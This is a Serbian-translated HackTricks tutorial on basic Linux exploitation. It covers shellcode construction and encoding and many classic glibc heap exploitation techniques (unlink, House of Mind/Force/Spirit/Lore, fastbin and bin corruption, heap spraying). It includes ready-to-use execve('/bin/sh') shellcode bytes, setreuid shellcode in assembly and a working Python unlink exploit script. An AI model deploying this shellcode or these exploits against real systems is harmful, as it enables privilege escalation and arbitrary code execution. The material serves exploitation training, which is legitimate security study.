.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
2.SHELLCODE
Pogledajte prekide jezgra: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; očistimo eax
xor ebx, ebx ; ebx = 0 jer nema argumenta za proslediti
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Izvrši syscall
nasm -f elf assembly.asm —> Vraća nam .o
ld assembly.o -o shellcodeout —> Daje nam izvršni fajl sastavljen od asemblera i možemo izvući opkode sa objdump
objdump -d -Mintel ./shellcodeout —> Da vidimo da je to zaista naš shellcode i izvučemo OpCode
Proverite da shellcode funkcioniše
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Da biste videli da se sistemski pozivi pravilno izvršavaju, potrebno je da kompajlirate prethodni program, a sistemski pozivi treba da se pojave u strace ./PROGRAMA_COMPILADO
Kada se kreiraju shellcode-ovi, može se primeniti trik. Prva instrukcija je jump na call. Call poziva originalni kod i takođe stavlja EIP na stek. Nakon instrukcije call, stavili smo string koji nam je potreban, tako da sa tim EIP-om možemo ukazati na string i nastaviti sa izvršavanjem koda.
EJ TRIK (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ koristeći Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Huter:
Sastoji se od malog koda koji pretražuje stranice memorije povezane sa procesom u potrazi za shellcode-om koji je tamo sačuvan (traži neku potpisanu oznaku u shellcode-u). Korisno u slučajevima kada se ima samo mali prostor za injekciju koda.
Shellcodes polimorfni
Sastoje se od šifrovanih shell-ova koji imaju mali kod koji ih dešifruje i preskoči na njega, koristeći trik Call-Pop, ovo bi bio primer šifrovanog cezara:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Dodatne metode
Murat tehnika
U linuxu se svi programi mapiraju počinjući od 0xbfffffff
Gledajući kako se gradi stek novog procesa u linuxu, može se razviti exploit tako da se program pokrene u okruženju čija je jedina promenljiva shellcode. Adresa ove se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NAZIV_izvršnog_fajla) - strlen(shellcode)
Na ovaj način bi se jednostavno dobila adresa gde se nalazi promenljiva okruženja sa shellcode.
To se može uraditi zahvaljujući funkciji execle koja omogućava kreiranje okruženja koje ima samo željene promenljive okruženja.
Format Strings to Buffer Overflows
sprintf moves formatirani string u promenljivu. Stoga, možete zloupotrebiti formatiranje stringa da izazovete buffer overflow u promenljivoj u koju se sadržaj kopira.
Na primer, payload %.44xAAAA
će napisati 44B+"AAAA" u promenljivu, što može izazvati buffer overflow.
__atexit strukture
{% hint style="danger" %} Danas je veoma čudno iskoristiti ovo. {% endhint %}
atexit()
je funkcija kojoj se prolaze druge funkcije kao parametri. Ove funkcije će biti izvršene prilikom izvršavanja exit()
ili povratka iz main.
Ako možete modifikovati adresu bilo koje od ovih funkcija da pokazuje na shellcode, na primer, dobićete kontrolu nad procesom, ali je to trenutno komplikovanije.
Trenutno su adrese funkcija koje treba izvršiti sakrivene iza nekoliko struktura i konačno adresa na koju pokazuje nije adresa funkcija, već je kriptovana XOR i pomeranjima sa nasumičnim ključem. Tako da je trenutno ovaj vektorski napad ne baš koristan, barem na x86 i x64_86.
Funkcija za enkripciju je PTR_MANGLE
. Druge arhitekture kao što su m68k, mips32, mips64, aarch64, arm, hppa... ne implementiraju funkciju enkripcije jer vraća isto što je primila kao ulaz. Tako da bi ove arhitekture bile napadljive ovim vektorom.
setjmp() & longjmp()
{% hint style="danger" %} Danas je veoma čudno iskoristiti ovo. {% endhint %}
Setjmp()
omogućava čuvanje konteksta (registri)
longjmp()
omogućava obnavljanje konteksta.
Sačuvani registri su: EBX, ESI, EDI, ESP, EIP, EBP
Šta se dešava je da se EIP i ESP prosleđuju kroz PTR_MANGLE
funkciju, tako da su arhitekture ranjive na ovaj napad iste kao gore.
Koriste se za oporavak od grešaka ili prekida.
Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, tako da ako postoji call ebx
, call esi
ili call edi
unutar pozvane funkcije, kontrola može biti preuzeta. Ili možete takođe modifikovati EBP da modifikujete ESP.
VTable i VPTR u C++
Svaka klasa ima Vtable koja je niz pokazivača na metode.
Svaki objekat klase ima VPtr koji je pokazivač na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne prepisivanje VPtr može se modifikovati da pokazuje na lažnu metodu tako da izvršavanje funkcije ide na shellcode.
Preventivne mere i izbegavanja
Zamena Libsafe
Aktivira se sa: LD_PRELOAD=/lib/libsafe.so.2
ili
“/lib/libsave.so.2” > /etc/ld.so.preload
Interceptuju se pozivi nekim nesigurnim funkcijama sa drugim sigurnim. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne statičke kompilacije, ne sve ranjive funkcije postaju sigurne i LD_PRELOAD ne funkcioniše u binarnim fajlovima sa suid).
ASCII Armored Address Space
Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zapravo ne zaustavlja gotovo nijedan napad, a još manje u little endian.
ret2plt
Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt) i pokaže na ulaz u GOT i kopira prvi bajt funkcije koju želite da pozovete (system()). Odmah zatim se radi isto pokazujući na GOT+1 i kopira se 2. bajt system()… Na kraju se poziva adresa sačuvana u GOT koja će biti system().
Kave sa chroot()
debootstrap -arch=i386 hardy /home/user —> Instalira osnovni sistem pod specifičnim poddirektorijumom
Admin može izaći iz jedne od ovih kave tako što će: mkdir foo; chroot foo; cd ..
Instrumentacija koda
Valgrind —> Traži greške
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Overflows: Osnovni exploits
Delić dodeljen
prev_size |
size | —Zaglavlje
*mem | Podaci
Delić slobodan
prev_size |
size |
*fd | Ptr forward chunk
*bk | Ptr back chunk —Zaglavlje
*mem | Podaci
Slobodni delovi su u dvostruko povezanoj listi (bin) i nikada ne mogu postojati dva slobodna dela zajedno (spajaju se)
U “size” postoje bitovi koji označavaju: Da li je prethodni deo u upotrebi, da li je deo dodeljen putem mmap() i da li deo pripada primarnoj areni.
Ako prilikom oslobađanja dela neki od susednih bude slobodan, oni se spajaju putem makroa unlink() i novi veći deo se prosleđuje frontlink() da mu umetne odgovarajući bin.
unlink(){
BK = P->bk; —> BK novog dela je onaj koji je imao onaj koji je već bio slobodan
FD = P->fd; —> FD novog dela je onaj koji je imao onaj koji je već bio slobodan
FD->bk = BK; —> BK sledećeg dela pokazuje na novi deo
BK->fd = FD; —> FD prethodnog dela pokazuje na novi deo
}
Dakle, ako uspemo da modifikujemo P->bk sa adresom shellcode i P->fd sa adresom do ulaza u GOT ili DTORS minus 12, postiže se:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
I tako se izvršava shellcode prilikom izlaska iz programa.
Pored toga, 4. izjava unlink() piše nešto i shellcode mora biti prilagođena za ovo:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Ovo izaziva pisanje 4 bajta počevši od 8. bajta shellcode, tako da prva instrukcija shellcode mora biti jmp da preskoči ovo i padne u nops koji vode do ostatka shellcode.
Dakle, exploit se kreira:
U buffer1 stavljamo shellcode počevši od jmp da padne u nops ili u ostatak shellcode.
Nakon shellcode stavljamo popunu do polja prev_size i size sledećeg dela. Na ovim mestima stavljamo 0xfffffff0 (tako da se prev_size prepisuje da ima bit koji kaže da je slobodan) i “-4“(0xfffffffc) u size (da kada proveri u 3. delu da li je 2. zapravo slobodan, ide na modifikovani prev_size koji će mu reći da je slobodan) -> Tako kada free() istražuje, ići će na size 3. ali zapravo će ići na 2. - 4 i pomisliti da je 2. deo slobodan. I tada će pozvati unlink().
Pozivom unlink() koristiće kao P->fd prve podatke 2. dela, tako da će tu biti adresa koju želite da prepišete - 12 (jer će u FD->bk dodati 12 na sačuvanu adresu u FD). I na tu adresu će uneti drugu adresu koju nađe u 2. delu, što će nam biti interesantno da bude adresa do shellcode (lažni P->bk).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes popune
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Bit koji označava da je prethodni deo slobodan treba biti 1
fake_size = pack("<I”, 0xfffffffc) #-4, da bi mislio da je “size” 3. dela 4 bajta iza (pokazuje na prev_size) jer tu gleda da li je 2. deo slobodan
addr_sc = pack("<I", 0x0804a008 + 8) #Na payload na početku ćemo staviti 8 bajtova popune
got_free = pack("<I", 0x08048300 - 12) #Adresa free() u plt-12 (biće adresa koja se prepisuje da se pokrene shellcode drugi put kada se pozove free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Kao što je rečeno, payload počinje sa 8 bajtova popune jer tako
payload += prev_size + fake_size + got_free + addr_sc #Modifikuje se 2. deo, got_free pokazuje na gde ćemo sačuvati adresu addr_sc + 12
os.system("./8.3.o " + payload)
unset() oslobađajući u obrnutom redosledu (wargame)
Kontrolišemo 3 uzastopna dela i oslobađaju se u obrnutom redosledu od rezervisanih.
U tom slučaju:
U delu c stavljamo shellcode
Deo a koristimo da prepišemo b tako da size ima bit PREV_INUSE deaktiviran, tako da misli da je deo a slobodan.
Pored toga, prepisujemo u zaglavlju b size da bude -4.
Tako, program će misliti da je “a” slobodan i u binu, tako da će pozvati unlink() da ga odveže. Međutim, pošto zaglavlje PREV_SIZE vredi -4, misliće da deo “a” zapravo počinje u b+4. Drugim rečima, izvršiće unlink() na deo koji počinje u b+4, tako da će u b+12 biti pokazivač “fd” i u b+16 će biti pokazivač “bk”.
Na ovaj način, ako u bk stavimo adresu do shellcode i u fd stavimo adresu do funkcije “puts()”-12, imamo naš payload.
Frontlink tehnika
Naziva se frontlink kada se oslobađa nešto i nijedan od njegovih susednih delova nije slobodan, ne poziva se unlink() već se direktno poziva frontlink().
Koristan je ranjivost kada se malloc koji se napada nikada ne oslobađa (free()).
Potrebno je:
Buffer koji može da se preplavi sa funkcijom za unos podataka
Buffer koji je susedni ovom koji mora biti oslobođen i kojem će se modifikovati polje fd njegovog zaglavlja zahvaljujući preplavljivanju prethodnog buffera
Buffer za oslobađanje sa veličinom većom od 512 ali manjom od prethodnog buffera
Buffer deklarisan pre koraka 3 koji omogućava prepisivanje prev_size ovog
Na ovaj način, postizanjem prepisivanja u dva malloc-a na neuredan način i u jednom na kontrolisan način, ali se oslobađa samo taj jedan, možemo napraviti exploit.
Ranjivost double free()
Ako se pozove free() dva puta sa istim pokazivačem, ostaju dva bina koja pokazuju na istu adresu.
U slučaju da želite ponovo da koristite jedan, dodeliće se bez problema. U slučaju da želite da koristite drugi, dodeliće se isti prostor, tako da ćemo imati pokazivače “fd” i “bk” lažirane sa podacima koje će pisati prethodna rezervacija.
After free()
Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole.
8 Heap Overflows: Napredni exploits
Tehnike Unlink() i FrontLink() su uklonjene modifikovanjem funkcije unlink().
Kuća uma
Samo jedan poziv na free() je potreban da izazove izvršavanje proizvoljnog koda. Važno je potražiti drugi deo koji može biti preplavljen od prethodnog i oslobođen.
Jedan poziv na free() izaziva poziv na public_fREe(mem), ovaj radi:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mem); —> Vraća pokazivač na adresu gde počinje deo (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
U [1] proverava se polje size bit NON_MAIN_ARENA, koji se može izmeniti da provera vrati true i izvrši heap_for_ptr() koji radi and na “mem” ostavljajući 0 na 2.5 manje bitova (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar_ptr (kao da je struktura heap_info)
Na ovaj način, ako možemo kontrolisati deo na primer u 0x0804a000 i oslobađa se deo u 0x081002a0, možemo doći do adrese 0x08100000 i pisati šta god želimo, na primer 0x0804a000. Kada se ovaj drugi deo oslobodi, otkriće da heap_for_ptr(ptr)->ar_ptr vraća ono što smo napisali u 0x08100000 (jer se primenjuje and na 0x081002a0 i odatle se uzima vrednost prvih 4 bajta, ar_ptr)
Na ovaj način se poziva _int_free(ar_ptr, mem), tj. _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što smo napisali u delu koji će se osloboditi.
Kao što je definisano unsorted_chunks, znamo da:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Dakle, ako u av->bins[2] upišemo vrednost __DTOR_END__-12, u poslednjoj instrukciji će se upisati u __DTOR_END__ adresa drugog dela.
Drugim rečima, u prvom delu moramo staviti na početak više puta adresu __DTOR_END__-12 jer će odatle uzeti av->bins[2]
Na adresi na kojoj padne adresa drugog dela sa poslednjih 5 nula, treba napisati adresu do ovog prvog dela kako bi heap_for_ptr() mislio da je ar_ptr na početku prvog dela i izvukao odatle av->bins[2]
U drugom delu i zahvaljujući prvom prepisujemo prev_size sa jump 0x0c i size sa nečim da aktiviramo -> NON_MAIN_ARENA
Zatim u delu 2 stavljamo gomilu nops i na kraju shellcode
Na ovaj način će se pozvati _int_free(TROZO1, TROZO2) i pratiti uputstva da se upiše u __DTOR_END__ adresa prev_size TROZO2 koji će skočiti na shellcode.
Da bi se primenila ova tehnika, potrebno je da se ispune neki dodatni zahtevi koji dodatno komplikuju payload.
Ova tehnika više nije primenljiva jer je primenjen gotovo isti zakrpa kao za unlink. Proverava se da li nova adresa na koju se pokazuje takođe pokazuje na nju.
Fastbin
To je varijanta Kuće uma
Zanima nas da izvršimo sledeći kod do kojeg se dolazi nakon prve provere funkcije _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Gde je fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Na ovaj način, ako stavimo u “fb” adresu funkcije u GOT, na ovoj adresi će se staviti adresa do prepisanog dela. Za ovo će biti potrebno da arena bude blizu adresa dtors. Tačnije, da av->max_fast bude na adresi koju ćemo prepisati.
S obzirom na to da smo sa Kućom uma videli da kontrolišemo poziciju av.
Dakle, ako u polje size stavimo veličinu od 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() će nam vratiti fastbins[-1], koji će pokazivati na av->max_fast
U ovom slučaju av->max_fast će biti adresa koja će se prepisati (ne na koju pokazuje, već ta pozicija će se prepisati).
Pored toga, mora se ispuniti da deo susedni oslobođenom mora biti veći od 8 -> S obzirom na to da smo rekli da je size oslobođenog dela 8, u ovom lažnom delu samo treba staviti size veći od 8 (pošto će pored toga shellcode ići u oslobođeni deo, moraće se na početku staviti jmp koji pada u nops).
Pored toga, taj isti lažni deo mora biti manji od av->system_mem. av->system_mem se nalazi 1848 bajtova dalje.
Zbog nula u _DTOR_END_ i malo adresa u GOT, nijedna adresa ovih sekcija ne može se prepisati, tako da vidimo kako primeniti fastbin da napadnemo stek.
Drugi način napada je preusmeravanje av ka steku.
Ako modifikujemo size da bude 16 umesto 8, tada: fastbin_index() će nam vratiti fastbins[0] i možemo iskoristiti ovo da prepišemo stek.
Za ovo ne sme biti nikakvih canary ili čudnih vrednosti na steku, zapravo se moramo nalaziti u njemu: 4 bajta nula + EBP + RET
4 bajta nula su potrebna da av bude na ovoj adresi i prvi element av je mutexe koji mora biti 0.
av->max_fast će biti EBP i biće vrednost koja će nam poslužiti da preskočimo ograničenja.
U av->fastbins[0] će se prepisati sa adresom p i biće RET, tako da će preskočiti na shellcode.
Pored toga, u av->system_mem (1484 bajta iznad pozicije na steku) biće dovoljno smeća koje će nam omogućiti da preskočimo proveru koja se vrši.
Pored toga, mora se ispuniti da deo susedni oslobođenom mora biti veći od 8 -> S obzirom na to da smo rekli da je size oslobođenog dela 16, u ovom lažnom delu samo treba staviti size veći od 8 (pošto će pored toga shellcode ići u oslobođeni deo, moraće se na početku staviti jmp koji pada u nops koji dolaze nakon polja size novog lažnog dela).
Kuća duha
U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti izmenjen od strane napadača (na primer, da je pokazivač na steku ispod mogućeg preplavljivanja promenljive).
Tako bismo mogli učiniti da ovaj pokazivač pokazuje gde god hoćemo. Međutim, ne može svako mesto biti važno, veličina lažnog dela mora biti manja od av->max_fast i specifično jednaka veličini zatraženoj u budućem pozivu malloc()+8. Zbog toga, ako znamo da nakon ovog ranjivog pokazivača pozivamo malloc(40), veličina lažnog dela mora biti jednaka 48.
Ako, na primer, program traži od korisnika broj, mogli bismo uneti 48 i usmeriti pokazivač modifikovanog malloc-a na sledećih 4 bajta (koji bi mogli pripadati EBP-u sa srećom, tako da 48 ostane iza, kao da je zaglavlje size). Pored toga, adresa ptr-4+48 mora ispunjavati nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system_mem.
U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), dodeliće se kao adresa adresa EBP-a. U slučaju da napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prepisati i EBP i EIP sa adresom koju želi.
Mislim da je to zato što će kada ga oslobodi free() sačuvati da na adresi koja pokazuje na EBP steka postoji deo savršene veličine za novi malloc() koji se želi rezervisati, tako da mu dodeljuje tu adresu.
Kuća sile
Potrebno je:
- Preplavljivanje dela koje omogućava prepisivanje wilderness
- Poziv malloc() sa veličinom definisanom od strane korisnika
- Poziv malloc() čiji podaci mogu biti definisani od strane korisnika
Prvo što se radi je prepisivanje size dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaka zahtevana memorija dovoljno velika biti obrađena u _int_malloc() bez potrebe za proširenjem heap-a.
Drugo je izmeniti av->top da pokazuje na područje memorije pod kontrolom napadača, kao što je stek. U av->top će se staviti &EIP - 8.
Moramo prepisati av->top da pokazuje na područje memorije pod kontrolom napadača:
victim = av->top;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
Victim uzima vrednost adrese trenutnog dela wilderness (trenutni av->top) i remainder je tačno zbir te adrese plus količina bajtova zatraženih od malloc(). Tako da ako &EIP-8 bude u 0xbffff224 i av->top sadrži 0x080c2788, tada će količina koju moramo rezervisati u kontrolisanom malloc-u da av->top pokazuje na $EIP-8 za sledeći malloc() biti:
0xbffff224 - 0x080c2788 = 3086207644.
Tako će se sačuvati u av->top izmenjena vrednost i sledeći malloc će pokazivati na EIP i moći će ga prepisati.
Važno je znati da je size novog dela wilderness veći od zahteva postavljenog za poslednji malloc(). Drugim rečima, ako wilderness pokazuje na &EIP-8, size će biti tačno u polju EBP steka.
Kuća legende
Korupcija SmallBin
Oslobođeni delovi se unose u bin u zavisnosti od njihove veličine. Ali pre nego što se unesu, čuvaju se u unsorted bins. Kada se deo oslobodi, ne unosi se odmah u svoj bin, već ostaje u unsorted bins. Zatim, ako se rezerviše novi deo i prethodni oslobođeni može poslužiti, vraća mu se, ali ako se rezerviše veći, oslobođeni deo u unsorted bins se stavlja u svoj odgovarajući bin.
Da bi se došlo do ranjivog koda, zahtev za memoriju mora biti veći od av->max_fast (72 obično) i manji od MIN_LARGE_SIZE (512).
Ako u binu postoji deo odgovarajuće veličine za ono što se traži, vraća se taj nakon što se odveže:
bck = victim->bk; Pokazuje na prethodni deo, to je jedina informacija koju možemo izmeniti.
bin->bk = bck; Pretposlednji deo postaje poslednji, u slučaju da bck pokazuje na stek, sledećem rezervisanom delu će se dati ova adresa.
bck->fd = bin; Lista se zatvara tako da ovaj pokazuje na bin.
Potrebno je:
Da se rezervišu dva malloc, tako da se prvom može napraviti overflow nakon što je drugi oslobođen i unet u svoj bin (tj. da je rezervisan malloc veći od drugog dela pre nego što se napravi overflow).
Da malloc rezervisan kojem se daje adresa izabrana od strane napadača bude pod kontrolom napadača.
Cilj je sledeći, ako možemo napraviti overflow na heap koji ispod ima već oslobođeni deo i u svom binu, možemo izmeniti njegov pokazivač bk. Ako izmenimo njegov pokazivač bk i ovaj deo postane prvi u listi binova i rezerviše se, bin će biti prevaren i reći će mu da je poslednji deo liste (sledeći koji se nudi) na lažnoj adresi koju smo stavili (na stek ili GOT na primer). Tako da ako se ponovo rezerviše drugi deo i napadač ima dozvole za njega, dobiće deo na željenoj poziciji i moći će da piše u nju.
Nakon oslobađanja modifikovanog dela, potrebno je rezervisati deo veći od oslobođenog, tako da će modifikovani deo izaći iz unsorted bins i uneti se u svoj bin.
Jednom kada je u svom binu, vreme je da mu modifikujemo pokazivač bk putem overflow-a da pokazuje na adresu koju želimo da prepišemo.
Tako će bin čekati red da se pozove malloc() dovoljno puta da se ponovo iskoristi modifikovani bin i prevari bin tako što će mu reći da je sledeći deo na lažnoj adresi. A zatim će se dati deo koji nas zanima.
Da bi se ranjivost izvršila što pre, idealno bi bilo: Rezervacija ranjivog dela, rezervacija dela koji će se modifikovati, oslobađanje ovog dela, rezervacija dela veće veličine koji će se modifikovati, modifikacija dela (ranjivost), rezervacija dela iste veličine kao ranjivi i rezervacija drugog dela iste veličine i ovaj će biti onaj koji pokazuje na izabranu adresu.
Da bi se zaštitio od ovog napada, korišćena je tipična provera da deo “nije” lažan: proverava se da li bck->fd pokazuje na victim. Drugim rečima, u našem slučaju, ako pokazivač fd* lažnog dela koji se pokazuje na steku pokazuje na victim. Da bi se prešla ova zaštita, napadač bi trebao biti u mogućnosti da na neki način (verovatno putem steka) napiše na odgovarajuću adresu adresu victim. Tako da izgleda kao pravi deo.
Korupcija LargeBin
Potrebni su isti zahtevi kao ranije i još neki, pored toga, rezervisani delovi moraju biti veći od 512.
Napad je kao i prethodni, tj. mora se modifikovati pokazivač bk i potrebni su svi ti pozivi na malloc(), ali pored toga, treba modifikovati size modifikovanog dela tako da taj size - nb bude < MINSIZE.
Na primer, postaviće da je size 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne može biti negativno jer se upoređuje unsigned)
Pored toga, uvedena je zakrpa da bi se to dodatno otežalo.
Heap Spraying
Osnovno se sastoji od rezervisanja što je moguće više memorije za heap i punjenja ovih sa jastučićem nops završenim shellcode-om. Pored toga, kao jastučić se koristi 0x0c. Tako da će se pokušati preskočiti na adresu 0x0c0c0c0c, i tako ako se prepiše neka adresa na koju će se pozvati sa ovim jastučićem, preskočiće se tamo. Osnovna taktika je rezervisati što je moguće više da vidimo da li se prepisuje neki pokazivač i preskočiti na 0x0c0c0c0c očekujući da tamo budu nops.
Heap Feng Shui
Sastoji se od rezervacija i oslobađanja kako bi se semenirala memorija tako da ostanu rezervisani delovi između slobodnih delova. Buffer koji se preplavljuje će se nalaziti u jednom od jaja.
objdump -d izvršni —> Disas funkcije
objdump -d ./PROGRAMA | grep FUNKCIJA —> Dobijanje adrese funkcije
objdump -d -Mintel ./shellcodeout —> Da se vidi da je to zaista naš shellcode i izvuče OpCodes
objdump -t ./exec | grep varBss —> Tabela simbola, da se izvuče adresa varijabli i funkcija
objdump -TR ./exec | grep exit(func lib) —> Da se izvuče adresa funkcija biblioteka (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Izvlači adresu puts koju treba prepisati u GOT
objdump -D ./exec —> Disas SVE do ulaza u plt
objdump -p -/exec
Info functions strncmp —> Info o funkciji u gdb
Zanimljivi kursevi
Reference
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podrška HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove podnošenjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.